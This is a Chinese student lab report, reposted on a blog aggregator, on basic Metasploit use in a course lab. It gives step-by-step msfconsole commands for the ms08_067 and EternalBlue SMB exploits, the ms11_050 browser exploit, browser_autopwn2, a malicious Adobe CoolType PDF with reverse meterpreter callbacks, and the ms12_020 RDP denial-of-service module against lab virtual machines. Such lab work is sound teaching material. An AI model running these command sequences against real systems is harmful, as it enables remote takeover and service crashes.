博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019 20165226 Exp5 MSF基础应用
阅读量:6258 次
发布时间:2019-06-22

本文共 3615 字,大约阅读时间需要 12 分钟。

2018-2019 20165226 Exp5 MSF基础应用

目录




一、实验内容说明及基础问题回答


1、实验内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
(1) 一个主动攻击实践,如ms08_067; (1分)

(2)一个针对浏览器的攻击,如ms11_050;(1分)

(3) 一个针对客户端的攻击,如Adobe;(1分)

(4)成功应用任何一个辅助模块。(0.5分)

2、基础问题回答

(1)用自己的话解释什么是 exploit , payload , encode.

  • exploit
    渗透攻击模块,利用系统服务应用中的漏洞取得权限
  • payload
    一段代码,用于渗透之后在目标主机上执行
  • encode
    用来对payload进行编码,主要是为了避免“坏字符”和做到免杀



二、实验过程

攻击机kali——172.30.2.47

靶机:①WinXP——172.30.6.172②win2000——172.30.5.55

Task1 主动攻击实践

ms08_067

  • 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use exploit/windows/smb/ms08_067_netapimsf exploit(ms08_067_netapi) > show payloadsmsf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连msf exploit(ms08_067_netapi) > set LHOST 172.30.2.47 //攻击机ipmsf exploit(ms08_067_netapi) > set LPORT 5226//攻击端口msf exploit(ms08_067_netapi) > set RHOST 172.30.6.172 //靶机ip,特定漏洞端口已经固定msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高msf exploit(ms08_067_netapi) > exploit //攻击

1047870-20190409130830853-1961771941.png

  • 结果出现无法创建会话界面

    1047870-20190409130915688-257044040.png

  • 查看targets,与本机作对比

    1047870-20190409131249100-1364885440.png

  • 通过网上查找资料,发现xp中文版本打过补丁,于是换了一台win2000的,攻击成功

    1047870-20190409131648776-1434004229.png

  • 输入ipconfig/all,获取相关的MAC地址、IP地址、子网掩码、网关地址以及DNS

    1047870-20190409131948922-971312417.png

ms17_010

攻击:kali

靶机:①win2000②winxp③win2008

  • 进入msfconsole
  • 输入以下指令
search ms17-010 #搜索漏洞use exploit/windows/smb/ms17_010_eternalblue    #选择漏洞show payloads   #查看可用攻击载荷set payload windows/x64/meterpreter/reverse_tcp #选择攻击载荷options

1047870-20190410083819733-1354410653.png

  • 再输入以下指令:
set RHOST 172.30.2.111 #设置攻击ipset LHOST 172.30.2.47   #设置监听主机set LPORT 5226  #设置监听端口
  • 失败

    1047870-20190410083943056-1324544571.png

  • 尝试更换虚拟机,终于,成功

    1047870-20190410084207433-530988460.png

Task2 针对浏览器的攻击

攻击机kali——172.30.2.47

靶机:①Win2000②win2007

ms11_050

  • 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连msf exploit(ms11_050_cobjectelement) > set LHOST 172.30.2.47 //攻击机ipmsf exploit(ms11_050_cobjectelement) > set LPORT 5226 //攻击端口固定msf exploit(ms11_050_cobjectelement) > set URIPATH 5226lxs //统一资源标识符路径设置msf exploit(ms11_050_cobjectelement) > exploit

1047870-20190409133735789-1862726978.png

  • 在浏览器输入http://172.30.2.47:8080/5226lxs,IE无法访问

    1047870-20190409133601932-1744077502.png

  • 设置浏览器的安全级别如下

    1047870-20190409133803414-649259516.png

  • 仍然不行,重新换一台虚拟机
  • 在设置Internet选项后仍是会出现IE浏览器的错误

    1047870-20190409134452247-1393896188.png

browser_autopwn

  • 换一个漏洞实施browser_autopwn模块
    • 攻击机里进入msfconsole,然后分别输入
use auxiliary/server/browser_autopwn2set SRVHOST 172.30.2.47set URIPATH autoshow options
  • 开始攻击,可以看到msf在不停的尝试不同的payload

    1047870-20190409140909222-433084081.png

  • 尝试成功,输出了可被访问的URLhttp://172.30.2.47:8080/auto并启动服务器

    1047870-20190409143009014-798414348.png

  • 失败again

    1047870-20190409143042776-351159830.png

Task3 对客户端的攻击,如Adobe

  • 在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/fileformat/adobe_cooltype_singmsf exploit(adobe_cooltype_sing) > set payloadwindows/meterpreter/reverse_tcp //tcp反向回连msf exploit(adobe_cooltype_sing) > set LHOST 172.30.2.47 //攻击机ipmsf exploit(adobe_cooltype_sing) > set LPORT 5226//攻击端口msf exploit(adobe_cooltype_sing) > set FILENAME 20165226.pdf //设置生成pdf文件的名字msf exploit(adobe_cooltype_sing) > exploit //攻击
  • 将生成的pdf文件拷贝到靶机上

    1047870-20190409202542571-659214307.png

  • 在kali上输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler //进入监听模块msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接msf exploit(handler) > set LHOST 172.30.2.47 //攻击机ipmsf exploit(handler) > set LPORT 5226 //攻击端口固定msf exploit(handler) > exploit

1047870-20190409202838281-1508794294.png

  • 在靶机上打开20165226.pdf文件

    1047870-20190409203040372-1384410551.png

  • 攻击机显示攻击成功

    1047870-20190409203102779-336271013.png

  • 靶机关闭PDF文件则失去权限

    1047870-20190409203814041-1272949205.png

Task4 成功应用auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块(唯一)

攻击:kali

靶机:win2008

  • 使用命令show auxiliary查看所有的辅助模块
  • 使用MS12-020(CVE-2012-0002)蓝屏攻击
  • 进入msfconsole
  • 输入以下指令
search ms12-020 #搜索漏洞use auxiliary/dos/windows/rdp/ms12_020_maxchannelids    #使用漏洞options #查看配置信息set RHOST 172.30.2.47 #设置攻击IPexploit #开始攻击
  • 攻击成功
    1047870-20190410084900875-2072885089.png



三、问题与思考

  • 问题1:在进行ms08_067_netapi攻击时出现以下情况

    1047870-20190409131036803-1949453955.png

  • 问题1解决方案:
    • 首先查看targets

      1047870-20190409131141798-245707037.png

    • 换另一台虚拟机,再次运行,攻击成功

      1047870-20190409131653823-233610122.png

四、实验总结

本次实验学会了如何搜索漏洞,并在现有的漏洞环境下,尝试利用漏洞进行直接或间接主动攻击客户端。在整个过程中,其实找适合的虚拟机特别关键,整个过程耗费的时间大量集中在尝试不同虚拟机使其得以被攻击。不乏看出,打过补丁的虚拟机其抗攻击能力更强,这也提醒我们应时常更新配置。



转载于:https://www.cnblogs.com/musea/p/10673280.html

你可能感兴趣的文章
Solidity notes
查看>>
网上购物系统(Task005)——通用数据库访问函数集SqlHelper类
查看>>
java 单例模式浅析
查看>>
Codeforces Round #389 (Div. 2,) B C
查看>>
python中configparser模块记录
查看>>
IIIDX[九省联考2018]
查看>>
Protobuf3 序列化
查看>>
C语言面试题大汇总
查看>>
JavaSE-List常用方法
查看>>
json 和 pickel 详解
查看>>
Linux基础命令之grep
查看>>
python自动化开发-7
查看>>
使用VS2010+SVN出現的問題
查看>>
谁说Javascript简单的?
查看>>
UVA 1374 Power Calculus
查看>>
表结构更改后或新增加数据后同步到表中
查看>>
软媒魔方u盘装系统
查看>>
python中的文件操作小结1
查看>>
ggplot2 geom设置—散点图
查看>>
inotify+rsync 实时同步目录文件
查看>>